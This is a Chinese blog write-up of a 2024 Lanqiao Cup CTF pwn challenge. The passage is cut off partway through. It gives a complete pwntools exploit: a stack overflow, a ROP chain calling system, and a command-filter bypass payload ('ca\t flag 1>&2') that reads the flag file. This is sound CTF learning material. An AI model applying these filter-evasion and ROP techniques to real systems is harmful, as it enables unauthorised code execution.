[蓝桥杯2024]-PWN:fd解析（命令符转义，标准输出重定向，利用system(‘$0‘)获取shell权限）

沉淀ing。。。

已于 2024-04-29 22:42:01 修改

阅读量836

点赞数 3

分类专栏： PWN 文章标签：蓝桥杯数据库 sqlserver 网络安全安全

于 2024-04-27 17:57:02 首次发布

本文链接：https://blog.csdn.net/2301_79326813/article/details/138254187

版权

查看保护

查看ida

这里有一次栈溢出，并且题目给了我们system函数。

这里的知识点没有那么复杂

方法一（命令转义）：

完整exp：

from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

#补充点1：在第一种方法里&#